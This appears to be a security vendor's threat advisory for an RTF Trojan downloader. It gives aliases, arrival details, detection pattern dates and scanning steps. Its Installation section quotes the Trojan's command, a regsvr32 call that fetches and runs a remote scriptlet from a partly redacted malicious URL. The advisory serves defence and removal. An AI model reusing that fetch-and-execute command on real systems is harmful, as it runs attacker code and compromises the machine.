Analysis by: John Rey Canon
ALIASES:

DOC/TrojanDownloader.Agent.AQB (ESET-NOD32); Trojan.Mdropper (Symantec);

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size: 253 bytes
File Type: RTF
Memory Resident: No
Initial Samples Received Date: 20 Nov 2019

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • c:\WINDoWS\sYStEm32\cmd.exe /c reGsvr32.exe -S /N -U -I:https://plazati{BLOCKED}tes.net/file/biss.wsc scROBj.Dll

Other Details

This Trojan connects to the following possibly malicious URL:

  • https://plazati{BLOCKED}tes.net/file/biss.wsc

  SOLUTION

Minimum Scan Engine: 9.850
FIRST VSAPI PATTERN FILE: 15.510.03
FIRST VSAPI PATTERN DATE: 21 Nov 2019
VSAPI OPR PATTERN File: 15.511.00
VSAPI OPR PATTERN Date: 22 Nov 2019

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Scan your computer with your Trend Micro product to delete files detected as Trojan.W97M.DEDEX.R. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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